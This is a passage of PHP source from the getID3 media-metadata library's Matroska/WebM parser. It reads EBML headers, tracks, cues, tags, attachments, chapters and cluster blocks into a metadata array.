		if (isset($info['matroska']['attachments']) && $this->getid3->option_save_attachments !== getID3::ATTACHMENTS_NONE) {
			foreach ($info['matroska']['attachments'] as $i => $entry) {
				if (strpos($entry['FileMimeType'], 'image/') === 0 && !empty($entry['FileData'])) {
					$info['matroska']['comments']['picture'][] = array('data' => $entry['FileData'], 'image_mime' => $entry['FileMimeType'], 'filename' => $entry['FileName']);
				}
			}
		}

		// determine mime type
		if (!empty($info['video']['streams'])) {
			$info['mime_type'] = ($info['matroska']['doctype'] == 'webm' ? 'video/webm' : 'video/x-matroska');
		} elseif (!empty($info['audio']['streams'])) {
			$info['mime_type'] = ($info['matroska']['doctype'] == 'webm' ? 'audio/webm' : 'audio/x-matroska');
		} elseif (isset($info['mime_type'])) {
			unset($info['mime_type']);
		}

		return true;
	}

	private function parseEBML(&$info) {
		// http://www.matroska.org/technical/specs/index.html#EBMLBasics
		$this->current_offset = $info['avdataoffset'];

		while ($this->getEBMLelement($top_element, $info['avdataend'])) {
			switch ($top_element['id']) {

				case EBML_ID_EBML:
					$info['matroska']['header']['offset'] = $top_element['offset'];
					$info['matroska']['header']['length'] = $top_element['length'];

					while ($this->getEBMLelement($element_data, $top_element['end'], true)) {
						switch ($element_data['id']) {

							case EBML_ID_EBMLVERSION:
							case EBML_ID_EBMLREADVERSION:
							case EBML_ID_EBMLMAXIDLENGTH:
							case EBML_ID_EBMLMAXSIZELENGTH:
							case EBML_ID_DOCTYPEVERSION:
							case EBML_ID_DOCTYPEREADVERSION:
								$element_data['data'] = getid3_lib::BigEndian2Int($element_data['data']);
								break;

							case EBML_ID_DOCTYPE:
								$element_data['data'] = getid3_lib::trimNullByte($element_data['data']);
								$info['matroska']['doctype'] = $element_data['data'];
								$info['fileformat'] = $element_data['data'];
								break;

							default:
								$this->unhandledElement('header', __LINE__, $element_data);
								break;
						}

						unset($element_data['offset'], $element_data['end']);
						$info['matroska']['header']['elements'][] = $element_data;
					}
					break;

				case EBML_ID_SEGMENT:
					$info['matroska']['segment'][0]['offset'] = $top_element['offset'];
					$info['matroska']['segment'][0]['length'] = $top_element['length'];

					while ($this->getEBMLelement($element_data, $top_element['end'])) {
						if ($element_data['id'] != EBML_ID_CLUSTER || !self::$hide_clusters) { // collect clusters only if required
							$info['matroska']['segments'][] = $element_data;
						}
						switch ($element_data['id']) {

							case EBML_ID_SEEKHEAD: // Contains the position of other level 1 elements.

								while ($this->getEBMLelement($seek_entry, $element_data['end'])) {
									switch ($seek_entry['id']) {

										case EBML_ID_SEEK: // Contains a single seek entry to an EBML element
											while ($this->getEBMLelement($sub_seek_entry, $seek_entry['end'], true)) {

												switch ($sub_seek_entry['id']) {

													case EBML_ID_SEEKID:
														$seek_entry['target_id']   = self::EBML2Int($sub_seek_entry['data']);
														$seek_entry['target_name'] = self::EBMLidName($seek_entry['target_id']);
														break;

													case EBML_ID_SEEKPOSITION:
														$seek_entry['target_offset'] = $element_data['offset'] + getid3_lib::BigEndian2Int($sub_seek_entry['data']);
														break;

													default:
														$this->unhandledElement('seekhead.seek', __LINE__, $sub_seek_entry);												}
														break;
											}
											if (!isset($seek_entry['target_id'])) {
												$this->warning('seek_entry[target_id] unexpectedly not set at '.$seek_entry['offset']);
												break;
											}
											if (($seek_entry['target_id'] != EBML_ID_CLUSTER) || !self::$hide_clusters) { // collect clusters only if required
												$info['matroska']['seek'][] = $seek_entry;
											}
											break;

										default:
											$this->unhandledElement('seekhead', __LINE__, $seek_entry);
											break;
									}
								}
								break;

							case EBML_ID_TRACKS: // A top-level block of information with many tracks described.
								$info['matroska']['tracks'] = $element_data;

								while ($this->getEBMLelement($track_entry, $element_data['end'])) {
									switch ($track_entry['id']) {

										case EBML_ID_TRACKENTRY: //subelements: Describes a track with all elements.

											while ($this->getEBMLelement($subelement, $track_entry['end'], array(EBML_ID_VIDEO, EBML_ID_AUDIO, EBML_ID_CONTENTENCODINGS, EBML_ID_CODECPRIVATE))) {
												switch ($subelement['id']) {

													case EBML_ID_TRACKNUMBER:
													case EBML_ID_TRACKUID:
													case EBML_ID_TRACKTYPE:
													case EBML_ID_MINCACHE:
													case EBML_ID_MAXCACHE:
													case EBML_ID_MAXBLOCKADDITIONID:
													case EBML_ID_DEFAULTDURATION: // nanoseconds per frame
														$track_entry[$subelement['id_name']] = getid3_lib::BigEndian2Int($subelement['data']);
														break;

													case EBML_ID_TRACKTIMECODESCALE:
														$track_entry[$subelement['id_name']] = getid3_lib::BigEndian2Float($subelement['data']);
														break;

													case EBML_ID_CODECID:
													case EBML_ID_LANGUAGE:
													case EBML_ID_NAME:
													case EBML_ID_CODECNAME:
														$track_entry[$subelement['id_name']] = getid3_lib::trimNullByte($subelement['data']);
														break;

													case EBML_ID_CODECPRIVATE:
														$track_entry[$subelement['id_name']] = $this->readEBMLelementData($subelement['length'], true);
														break;

													case EBML_ID_FLAGENABLED:
													case EBML_ID_FLAGDEFAULT:
													case EBML_ID_FLAGFORCED:
													case EBML_ID_FLAGLACING:
													case EBML_ID_CODECDECODEALL:
														$track_entry[$subelement['id_name']] = (bool) getid3_lib::BigEndian2Int($subelement['data']);
														break;

													case EBML_ID_VIDEO:

														while ($this->getEBMLelement($sub_subelement, $subelement['end'], true)) {
															switch ($sub_subelement['id']) {

																case EBML_ID_PIXELWIDTH:
																case EBML_ID_PIXELHEIGHT:
																case EBML_ID_PIXELCROPBOTTOM:
																case EBML_ID_PIXELCROPTOP:
																case EBML_ID_PIXELCROPLEFT:
																case EBML_ID_PIXELCROPRIGHT:
																case EBML_ID_DISPLAYWIDTH:
																case EBML_ID_DISPLAYHEIGHT:
																case EBML_ID_DISPLAYUNIT:
																case EBML_ID_ASPECTRATIOTYPE:
																case EBML_ID_STEREOMODE:
																case EBML_ID_OLDSTEREOMODE:
																	$track_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']);
																	break;

																case EBML_ID_FLAGINTERLACED:
																	$track_entry[$sub_subelement['id_name']] = (bool)getid3_lib::BigEndian2Int($sub_subelement['data']);
																	break;

																case EBML_ID_GAMMAVALUE:
																	$track_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Float($sub_subelement['data']);
																	break;

																case EBML_ID_COLOURSPACE:
																	$track_entry[$sub_subelement['id_name']] = getid3_lib::trimNullByte($sub_subelement['data']);
																	break;

																default:
																	$this->unhandledElement('track.video', __LINE__, $sub_subelement);
																	break;
															}
														}
														break;

													case EBML_ID_AUDIO:

														while ($this->getEBMLelement($sub_subelement, $subelement['end'], true)) {
															switch ($sub_subelement['id']) {

																case EBML_ID_CHANNELS:
																case EBML_ID_BITDEPTH:
																	$track_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']);
																	break;

																case EBML_ID_SAMPLINGFREQUENCY:
																case EBML_ID_OUTPUTSAMPLINGFREQUENCY:
																	$track_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Float($sub_subelement['data']);
																	break;

																case EBML_ID_CHANNELPOSITIONS:
																	$track_entry[$sub_subelement['id_name']] = getid3_lib::trimNullByte($sub_subelement['data']);
																	break;

																default:
																	$this->unhandledElement('track.audio', __LINE__, $sub_subelement);
																	break;
															}
														}
														break;

													case EBML_ID_CONTENTENCODINGS:

														while ($this->getEBMLelement($sub_subelement, $subelement['end'])) {
															switch ($sub_subelement['id']) {

																case EBML_ID_CONTENTENCODING:

																	while ($this->getEBMLelement($sub_sub_subelement, $sub_subelement['end'], array(EBML_ID_CONTENTCOMPRESSION, EBML_ID_CONTENTENCRYPTION))) {
																		switch ($sub_sub_subelement['id']) {

																			case EBML_ID_CONTENTENCODINGORDER:
																			case EBML_ID_CONTENTENCODINGSCOPE:
																			case EBML_ID_CONTENTENCODINGTYPE:
																				$track_entry[$sub_subelement['id_name']][$sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_subelement['data']);
																				break;

																			case EBML_ID_CONTENTCOMPRESSION:

																				while ($this->getEBMLelement($sub_sub_sub_subelement, $sub_sub_subelement['end'], true)) {
																					switch ($sub_sub_sub_subelement['id']) {

																						case EBML_ID_CONTENTCOMPALGO:
																							$track_entry[$sub_subelement['id_name']][$sub_sub_subelement['id_name']][$sub_sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_sub_subelement['data']);
																							break;

																						case EBML_ID_CONTENTCOMPSETTINGS:
																							$track_entry[$sub_subelement['id_name']][$sub_sub_subelement['id_name']][$sub_sub_sub_subelement['id_name']] = $sub_sub_sub_subelement['data'];
																							break;

																						default:
																							$this->unhandledElement('track.contentencodings.contentencoding.contentcompression', __LINE__, $sub_sub_sub_subelement);
																							break;
																					}
																				}
																				break;

																			case EBML_ID_CONTENTENCRYPTION:

																				while ($this->getEBMLelement($sub_sub_sub_subelement, $sub_sub_subelement['end'], true)) {
																					switch ($sub_sub_sub_subelement['id']) {

																						case EBML_ID_CONTENTENCALGO:
																						case EBML_ID_CONTENTSIGALGO:
																						case EBML_ID_CONTENTSIGHASHALGO:
																							$track_entry[$sub_subelement['id_name']][$sub_sub_subelement['id_name']][$sub_sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_sub_subelement['data']);
																							break;

																						case EBML_ID_CONTENTENCKEYID:
																						case EBML_ID_CONTENTSIGNATURE:
																						case EBML_ID_CONTENTSIGKEYID:
																							$track_entry[$sub_subelement['id_name']][$sub_sub_subelement['id_name']][$sub_sub_sub_subelement['id_name']] = $sub_sub_sub_subelement['data'];
																							break;

																						default:
																							$this->unhandledElement('track.contentencodings.contentencoding.contentcompression', __LINE__, $sub_sub_sub_subelement);
																							break;
																					}
																				}
																				break;

																			default:
																				$this->unhandledElement('track.contentencodings.contentencoding', __LINE__, $sub_sub_subelement);
																				break;
																		}
																	}
																	break;

																default:
																	$this->unhandledElement('track.contentencodings', __LINE__, $sub_subelement);
																	break;
															}
														}
														break;

													default:
														$this->unhandledElement('track', __LINE__, $subelement);
														break;
												}
											}

											$info['matroska']['tracks']['tracks'][] = $track_entry;
											break;

										default:
											$this->unhandledElement('tracks', __LINE__, $track_entry);
											break;
									}
								}
								break;

							case EBML_ID_INFO: // Contains miscellaneous general information and statistics on the file.
								$info_entry = array();

								while ($this->getEBMLelement($subelement, $element_data['end'], true)) {
									switch ($subelement['id']) {

										case EBML_ID_TIMECODESCALE:
											$info_entry[$subelement['id_name']] = getid3_lib::BigEndian2Int($subelement['data']);
											break;

										case EBML_ID_DURATION:
											$info_entry[$subelement['id_name']] = getid3_lib::BigEndian2Float($subelement['data']);
											break;

										case EBML_ID_DATEUTC:
											$info_entry[$subelement['id_name']]         = getid3_lib::BigEndian2Int($subelement['data']);
											$info_entry[$subelement['id_name'].'_unix'] = self::EBMLdate2unix($info_entry[$subelement['id_name']]);
											break;

										case EBML_ID_SEGMENTUID:
										case EBML_ID_PREVUID:
										case EBML_ID_NEXTUID:
											$info_entry[$subelement['id_name']] = getid3_lib::trimNullByte($subelement['data']);
											break;

										case EBML_ID_SEGMENTFAMILY:
											$info_entry[$subelement['id_name']][] = getid3_lib::trimNullByte($subelement['data']);
											break;

										case EBML_ID_SEGMENTFILENAME:
										case EBML_ID_PREVFILENAME:
										case EBML_ID_NEXTFILENAME:
										case EBML_ID_TITLE:
										case EBML_ID_MUXINGAPP:
										case EBML_ID_WRITINGAPP:
											$info_entry[$subelement['id_name']] = getid3_lib::trimNullByte($subelement['data']);
											$info['matroska']['comments'][strtolower($subelement['id_name'])][] = $info_entry[$subelement['id_name']];
											break;

										case EBML_ID_CHAPTERTRANSLATE:
											$chaptertranslate_entry = array();

											while ($this->getEBMLelement($sub_subelement, $subelement['end'], true)) {
												switch ($sub_subelement['id']) {

													case EBML_ID_CHAPTERTRANSLATEEDITIONUID:
														$chaptertranslate_entry[$sub_subelement['id_name']][] = getid3_lib::BigEndian2Int($sub_subelement['data']);
														break;

													case EBML_ID_CHAPTERTRANSLATECODEC:
														$chaptertranslate_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']);
														break;

													case EBML_ID_CHAPTERTRANSLATEID:
														$chaptertranslate_entry[$sub_subelement['id_name']] = getid3_lib::trimNullByte($sub_subelement['data']);
														break;

													default:
														$this->unhandledElement('info.chaptertranslate', __LINE__, $sub_subelement);
														break;
												}
											}
											$info_entry[$subelement['id_name']] = $chaptertranslate_entry;
											break;

										default:
											$this->unhandledElement('info', __LINE__, $subelement);
											break;
									}
								}
								$info['matroska']['info'][] = $info_entry;
								break;

							case EBML_ID_CUES: // A top-level element to speed seeking access. All entries are local to the segment. Should be mandatory for non "live" streams.
								if (self::$hide_clusters) { // do not parse cues if hide clusters is "ON" till they point to clusters anyway
									$this->current_offset = $element_data['end'];
									break;
								}
								$cues_entry = array();

								while ($this->getEBMLelement($subelement, $element_data['end'])) {
									switch ($subelement['id']) {

										case EBML_ID_CUEPOINT:
											$cuepoint_entry = array();

											while ($this->getEBMLelement($sub_subelement, $subelement['end'], array(EBML_ID_CUETRACKPOSITIONS))) {
												switch ($sub_subelement['id']) {

													case EBML_ID_CUETRACKPOSITIONS:
														$cuetrackpositions_entry = array();

														while ($this->getEBMLelement($sub_sub_subelement, $sub_subelement['end'], true)) {
															switch ($sub_sub_subelement['id']) {

																case EBML_ID_CUETRACK:
																case EBML_ID_CUECLUSTERPOSITION:
																case EBML_ID_CUEBLOCKNUMBER:
																case EBML_ID_CUECODECSTATE:
																	$cuetrackpositions_entry[$sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_subelement['data']);
																	break;

																default:
																	$this->unhandledElement('cues.cuepoint.cuetrackpositions', __LINE__, $sub_sub_subelement);
																	break;
															}
														}
														$cuepoint_entry[$sub_subelement['id_name']][] = $cuetrackpositions_entry;
														break;

													case EBML_ID_CUETIME:
														$cuepoint_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']);
														break;

													default:
														$this->unhandledElement('cues.cuepoint', __LINE__, $sub_subelement);
														break;
												}
											}
											$cues_entry[] = $cuepoint_entry;
											break;

										default:
											$this->unhandledElement('cues', __LINE__, $subelement);
											break;
									}
								}
								$info['matroska']['cues'] = $cues_entry;
								break;

							case EBML_ID_TAGS: // Element containing elements specific to Tracks/Chapters.
								$tags_entry = array();

								while ($this->getEBMLelement($subelement, $element_data['end'], false)) {
									switch ($subelement['id']) {

										case EBML_ID_TAG:
											$tag_entry = array();

											while ($this->getEBMLelement($sub_subelement, $subelement['end'], false)) {
												switch ($sub_subelement['id']) {

													case EBML_ID_TARGETS:
														$targets_entry = array();

														while ($this->getEBMLelement($sub_sub_subelement, $sub_subelement['end'], true)) {
															switch ($sub_sub_subelement['id']) {

																case EBML_ID_TARGETTYPEVALUE:
																	$targets_entry[$sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_subelement['data']);
																	$targets_entry[strtolower($sub_sub_subelement['id_name']).'_long'] = self::TargetTypeValue($targets_entry[$sub_sub_subelement['id_name']]);
																	break;

																case EBML_ID_TARGETTYPE:
																	$targets_entry[$sub_sub_subelement['id_name']] = $sub_sub_subelement['data'];
																	break;

																case EBML_ID_TAGTRACKUID:
																case EBML_ID_TAGEDITIONUID:
																case EBML_ID_TAGCHAPTERUID:
																case EBML_ID_TAGATTACHMENTUID:
																	$targets_entry[$sub_sub_subelement['id_name']][] = getid3_lib::BigEndian2Int($sub_sub_subelement['data']);
																	break;

																default:
																	$this->unhandledElement('tags.tag.targets', __LINE__, $sub_sub_subelement);
																	break;
															}
														}
														$tag_entry[$sub_subelement['id_name']] = $targets_entry;
														break;

													case EBML_ID_SIMPLETAG:
														$tag_entry[$sub_subelement['id_name']][] = $this->HandleEMBLSimpleTag($sub_subelement['end']);
														break;

													default:
														$this->unhandledElement('tags.tag', __LINE__, $sub_subelement);
														break;
												}
											}
											$tags_entry[] = $tag_entry;
											break;

										default:
											$this->unhandledElement('tags', __LINE__, $subelement);
											break;
									}
								}
								$info['matroska']['tags'] = $tags_entry;
								break;

							case EBML_ID_ATTACHMENTS: // Contain attached files.

								while ($this->getEBMLelement($subelement, $element_data['end'])) {
									switch ($subelement['id']) {

										case EBML_ID_ATTACHEDFILE:
											$attachedfile_entry = array();

											while ($this->getEBMLelement($sub_subelement, $subelement['end'], array(EBML_ID_FILEDATA))) {
												switch ($sub_subelement['id']) {

													case EBML_ID_FILEDESCRIPTION:
													case EBML_ID_FILENAME:
													case EBML_ID_FILEMIMETYPE:
														$attachedfile_entry[$sub_subelement['id_name']] = $sub_subelement['data'];
														break;

													case EBML_ID_FILEDATA:
														$attachedfile_entry['data_offset'] = $this->current_offset;
														$attachedfile_entry['data_length'] = $sub_subelement['length'];

														$attachedfile_entry[$sub_subelement['id_name']] = $this->saveAttachment(
															$attachedfile_entry['FileName'],
															$attachedfile_entry['data_offset'],
															$attachedfile_entry['data_length']);

														$this->current_offset = $sub_subelement['end'];
														break;

													case EBML_ID_FILEUID:
														$attachedfile_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']);
														break;

													default:
														$this->unhandledElement('attachments.attachedfile', __LINE__, $sub_subelement);
														break;
												}
											}
											$info['matroska']['attachments'][] = $attachedfile_entry;
											break;

										default:
											$this->unhandledElement('attachments', __LINE__, $subelement);
											break;
									}
								}
								break;

							case EBML_ID_CHAPTERS:

								while ($this->getEBMLelement($subelement, $element_data['end'])) {
									switch ($subelement['id']) {

										case EBML_ID_EDITIONENTRY:
											$editionentry_entry = array();

											while ($this->getEBMLelement($sub_subelement, $subelement['end'], array(EBML_ID_CHAPTERATOM))) {
												switch ($sub_subelement['id']) {

													case EBML_ID_EDITIONUID:
														$editionentry_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']);
														break;

													case EBML_ID_EDITIONFLAGHIDDEN:
													case EBML_ID_EDITIONFLAGDEFAULT:
													case EBML_ID_EDITIONFLAGORDERED:
														$editionentry_entry[$sub_subelement['id_name']] = (bool)getid3_lib::BigEndian2Int($sub_subelement['data']);
														break;

													case EBML_ID_CHAPTERATOM:
														$chapteratom_entry = array();

														while ($this->getEBMLelement($sub_sub_subelement, $sub_subelement['end'], array(EBML_ID_CHAPTERTRACK, EBML_ID_CHAPTERDISPLAY))) {
															switch ($sub_sub_subelement['id']) {

																case EBML_ID_CHAPTERSEGMENTUID:
																case EBML_ID_CHAPTERSEGMENTEDITIONUID:
																	$chapteratom_entry[$sub_sub_subelement['id_name']] = $sub_sub_subelement['data'];
																	break;

																case EBML_ID_CHAPTERFLAGENABLED:
																case EBML_ID_CHAPTERFLAGHIDDEN:
																	$chapteratom_entry[$sub_sub_subelement['id_name']] = (bool)getid3_lib::BigEndian2Int($sub_sub_subelement['data']);
																	break;

																case EBML_ID_CHAPTERUID:
																case EBML_ID_CHAPTERTIMESTART:
																case EBML_ID_CHAPTERTIMEEND:
																	$chapteratom_entry[$sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_subelement['data']);
																	break;

																case EBML_ID_CHAPTERTRACK:
																	$chaptertrack_entry = array();

																	while ($this->getEBMLelement($sub_sub_sub_subelement, $sub_sub_subelement['end'], true)) {
																		switch ($sub_sub_sub_subelement['id']) {

																			case EBML_ID_CHAPTERTRACKNUMBER:
																				$chaptertrack_entry[$sub_sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_sub_subelement['data']);
																				break;

																			default:
																				$this->unhandledElement('chapters.editionentry.chapteratom.chaptertrack', __LINE__, $sub_sub_sub_subelement);
																				break;
																		}
																	}
																	$chapteratom_entry[$sub_sub_subelement['id_name']][] = $chaptertrack_entry;
																	break;

																case EBML_ID_CHAPTERDISPLAY:
																	$chapterdisplay_entry = array();

																	while ($this->getEBMLelement($sub_sub_sub_subelement, $sub_sub_subelement['end'], true)) {
																		switch ($sub_sub_sub_subelement['id']) {

																			case EBML_ID_CHAPSTRING:
																			case EBML_ID_CHAPLANGUAGE:
																			case EBML_ID_CHAPCOUNTRY:
																				$chapterdisplay_entry[$sub_sub_sub_subelement['id_name']] = $sub_sub_sub_subelement['data'];
																				break;

																			default:
																				$this->unhandledElement('chapters.editionentry.chapteratom.chapterdisplay', __LINE__, $sub_sub_sub_subelement);
																				break;
																		}
																	}
																	$chapteratom_entry[$sub_sub_subelement['id_name']][] = $chapterdisplay_entry;
																	break;

																default:
																	$this->unhandledElement('chapters.editionentry.chapteratom', __LINE__, $sub_sub_subelement);
																	break;
															}
														}
														$editionentry_entry[$sub_subelement['id_name']][] = $chapteratom_entry;
														break;

													default:
														$this->unhandledElement('chapters.editionentry', __LINE__, $sub_subelement);
														break;
												}
											}
											$info['matroska']['chapters'][] = $editionentry_entry;
											break;

										default:
											$this->unhandledElement('chapters', __LINE__, $subelement);
											break;
									}
								}
								break;

							case EBML_ID_CLUSTER: // The lower level element containing the (monolithic) Block structure.
								$cluster_entry = array();

								while ($this->getEBMLelement($subelement, $element_data['end'], array(EBML_ID_CLUSTERSILENTTRACKS, EBML_ID_CLUSTERBLOCKGROUP, EBML_ID_CLUSTERSIMPLEBLOCK))) {
									switch ($subelement['id']) {

										case EBML_ID_CLUSTERTIMECODE:
										case EBML_ID_CLUSTERPOSITION:
										case EBML_ID_CLUSTERPREVSIZE:
											$cluster_entry[$subelement['id_name']] = getid3_lib::BigEndian2Int($subelement['data']);
											break;

										case EBML_ID_CLUSTERSILENTTRACKS:
											$cluster_silent_tracks = array();

											while ($this->getEBMLelement($sub_subelement, $subelement['end'], true)) {
												switch ($sub_subelement['id']) {

													case EBML_ID_CLUSTERSILENTTRACKNUMBER:
														$cluster_silent_tracks[] = getid3_lib::BigEndian2Int($sub_subelement['data']);
														break;

													default:
														$this->unhandledElement('cluster.silenttracks', __LINE__, $sub_subelement);
														break;
												}
											}
											$cluster_entry[$subelement['id_name']][] = $cluster_silent_tracks;
											break;

										case EBML_ID_CLUSTERBLOCKGROUP:
											$cluster_block_group = array('offset' => $this->current_offset);

											while ($this->getEBMLelement($sub_subelement, $subelement['end'], array(EBML_ID_CLUSTERBLOCK))) {
												switch ($sub_subelement['id']) {

													case EBML_ID_CLUSTERBLOCK:
														$cluster_block_group[$sub_subelement['id_name']] = $this->HandleEMBLClusterBlock($sub_subelement, EBML_ID_CLUSTERBLOCK, $info);
														break;

													case EBML_ID_CLUSTERREFERENCEPRIORITY: // unsigned-int
													case EBML_ID_CLUSTERBLOCKDURATION:     // unsigned-int
														$cluster_block_group[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']);
														break;

													case EBML_ID_CLUSTERREFERENCEBLOCK:    // signed-int
														$cluster_block_group[$sub_subelement['id_name']][] = getid3_lib::BigEndian2Int($sub_subelement['data'], false, true);
														break;

													case EBML_ID_CLUSTERCODECSTATE:
														$cluster_block_group[$sub_subelement['id_name']] = getid3_lib::trimNullByte($sub_subelement['data']);
														break;

													default:
														$this->unhandledElement('clusters.blockgroup', __LINE__, $sub_subelement);
														break;
												}
											}
											$cluster_entry[$subelement['id_name']][] = $cluster_block_group;
											break;

										case EBML_ID_CLUSTERSIMPLEBLOCK:
											$cluster_entry[$subelement['id_name']][] = $this->HandleEMBLClusterBlock($subelement, EBML_ID_CLUSTERSIMPLEBLOCK, $info);
											break;

										default:
											$this->unhandledElement('cluster', __LINE__, $subelement);
											break;
									}
									$this->current_offset = $subelement['end'];
								}
								if (!self::$hide_clusters) {
									$info['matroska']['cluster'][] = $cluster_entry;
								}

								// check to see if all the data we need exists already, if so, break out of the loop
								if (!self::$parse_whole_file) {
									if (isset($info['matroska']['info']) && is_array($info['matroska']['info'])) {
										if (isset($info['matroska']['tracks']['tracks']) && is_array($info['matroska']['tracks']['tracks'])) {
											if (count($info['matroska']['track_data_offsets']) == count($info['matroska']['tracks']['tracks'])) {
												return;
											}
										}
									}
								}
								break;

							default:
								$this->unhandledElement('segment', __LINE__, $element_data);
								break;
						}
					}
					break;

				default:
					$this->unhandledElement('root', __LINE__, $top_element);
					break;
			}
		}
	}

	private function EnsureBufferHasEnoughData($min_data=1024) {
		if (($this->current_offset - $this->EBMLbuffer_offset) >= ($this->EBMLbuffer_length - $min_data)) {
			$read_bytes = max($min_data, $this->getid3->fread_buffer_size());

			try {
				$this->fseek($this->current_offset);
				$this->EBMLbuffer_offset = $this->current_offset;
				$this->EBMLbuffer        = $this->fread($read_bytes);
				$this->EBMLbuffer_length = strlen($this->EBMLbuffer);
			} catch (getid3_exception $e) {
				$this->warning('EBML parser: '.$e->getMessage());
				return false;
			}

			if ($this->EBMLbuffer_length == 0 && $this->feof()) {
				return $this->error('EBML parser: ran out of file at offset '.$this->current_offset);
			}
		}
		return true;
	}

	private function readEBMLint() {
		$actual_offset = $this->current_offset - $this->EBMLbuffer_offset;

		// get length of integer
		$first_byte_int = ord($this->EBMLbuffer[$actual_offset]);
		if       (0x80 & $first_byte_int) {
			$length = 1;
		} elseif (0x40 & $first_byte_int) {
			$length = 2;
		} elseif (0x20 & $first_byte_int) {
			$length = 3;
		} elseif (0x10 & $first_byte_int) {
			$length = 4;
		} elseif (0x08 & $first_byte_int) {
			$length = 5;
		} elseif (0x04 & $first_byte_int) {
			$length = 6;
		} elseif (0x02 & $first_byte_int) {
			$length = 7;
		} elseif (0x01 & $first_byte_int) {
			$length = 8;
		} else {
			throw new Exception('invalid EBML integer (leading 0x00) at '.$this->current_offset);
		}

		// read
		$int_value = self::EBML2Int(substr($this->EBMLbuffer, $actual_offset, $length));
		$this->current_offset += $length;

		return $int_value;
	}

	private function readEBMLelementData($length, $check_buffer=false) {
		if ($check_buffer && !$this->EnsureBufferHasEnoughData($length)) {
			return false;
		}
		$data = substr($this->EBMLbuffer, $this->current_offset - $this->EBMLbuffer_offset, $length);
		$this->current_offset += $length;
		return $data;
	}

	private function getEBMLelement(&$element, $parent_end, $get_data=false) {
		if ($this->current_offset >= $parent_end) {
			return false;
		}

		if (!$this->EnsureBufferHasEnoughData()) {
			$this->current_offset = PHP_INT_MAX; // do not exit parser right now, allow to finish current loop to gather maximum information
			return false;
		}

		$element = array();

		// set offset
		$element['offset'] = $this->current_offset;

		// get ID
		$element['id'] = $this->readEBMLint();

		// get name
		$element['id_name'] = self::EBMLidName($element['id']);

		// get length
		$element['length'] = $this->readEBMLint();

		// get end offset
		$element['end'] = $this->current_offset + $element['length'];

		// get raw data
		$dont_parse = (in_array($element['id'], $this->unuseful_elements) || $element['id_name'] == dechex($element['id']));
		if (($get_data === true || (is_array($get_data) && !in_array($element['id'], $get_data))) && !$dont_parse) {
			$element['data'] = $this->readEBMLelementData($element['length'], $element);
		}

		return true;
	}

	private function unhandledElement($type, $line, $element) {
		// warn only about unknown and missed elements, not about unuseful
		if (!in_array($element['id'], $this->unuseful_elements)) {
			$this->warning('Unhandled '.$type.' element ['.basename(__FILE__).':'.$line.'] ('.$element['id'].'::'.$element['id_name'].' ['.$element['length'].' bytes]) at '.$element['offset']);
		}

		// increase offset for unparsed elements
		if (!isset($element['data'])) {
			$this->current_offset = $element['end'];
		}
	}

	private function ExtractCommentsSimpleTag($SimpleTagArray) {
		if (!empty($SimpleTagArray['SimpleTag'])) {
			foreach ($SimpleTagArray['SimpleTag'] as $SimpleTagKey => $SimpleTagData) {
				if (!empty($SimpleTagData['TagName']) && !empty($SimpleTagData['TagString'])) {
					$this->getid3->info['matroska']['comments'][strtolower($SimpleTagData['TagName'])][] = $SimpleTagData['TagString'];
				}
				if (!empty($SimpleTagData['SimpleTag'])) {
					$this->ExtractCommentsSimpleTag($SimpleTagData);
				}
			}
		}

		return true;
	}

	private function HandleEMBLSimpleTag($parent_end) {
		$simpletag_entry = array();

		while ($this->getEBMLelement($element, $parent_end, array(EBML_ID_SIMPLETAG))) {
			switch ($element['id']) {

				case EBML_ID_TAGNAME:
				case EBML_ID_TAGLANGUAGE:
				case EBML_ID_TAGSTRING:
				case EBML_ID_TAGBINARY:
					$simpletag_entry[$element['id_name']] = $element['data'];
					break;

				case EBML_ID_SIMPLETAG:
					$simpletag_entry[$element['id_name']][] = $this->HandleEMBLSimpleTag($element['end']);
					break;

				case EBML_ID_TAGDEFAULT:
					$simpletag_entry[$element['id_name']] = (bool)getid3_lib::BigEndian2Int($element['data']);
					break;

				default:
					$this->unhandledElement('tag.simpletag', __LINE__, $element);
					break;
			}
		}

		return $simpletag_entry;
	}

	private function HandleEMBLClusterBlock($element, $block_type, &$info) {
		// http://www.matroska.org/technical/specs/index.html#block_structure
		// http://www.matroska.org/technical/specs/index.html#simpleblock_structure

		$block_data = array();
		$block_data['tracknumber'] = $this->readEBMLint();
		$block_data['timecode']    = getid3_lib::BigEndian2Int($this->readEBMLelementData(2), false, true);
		$block_data['flags_raw']   = getid3_lib::BigEndian2Int($this->readEBMLelementData(1));

		if ($block_type == EBML_ID_CLUSTERSIMPLEBLOCK) {
			$block_data['flags']['keyframe']  = (($block_data['flags_raw'] & 0x80) >> 7);
			//$block_data['flags']['reserved1'] = (($block_data['flags_raw'] & 0x70) >> 4);
		}
		else {
			//$block_data['flags']['reserved1'] = (($block_data['flags_raw'] & 0xF0) >> 4);
		}
		$block_data['flags']['invisible'] = (bool)(($block_data['flags_raw'] & 0x08) >> 3);
		$block_data['flags']['lacing']    =       (($block_data['flags_raw'] & 0x06) >> 1);  // 00=no lacing; 01=Xiph lacing; 11=EBML lacing; 10=fixed-size lacing
		if ($block_type == EBML_ID_CLUSTERSIMPLEBLOCK) {
			$block_data['flags']['discardable'] = (($block_data['flags_raw'] & 0x01));
		}
		else {
			//$block_data['flags']['reserved2'] = (($block_data['flags_raw'] & 0x01) >> 0);
		}
		$block_data['flags']['lacing_type'] = self::BlockLacingType($block_data['flags']['lacing']);

		// Lace (when lacing bit is set)
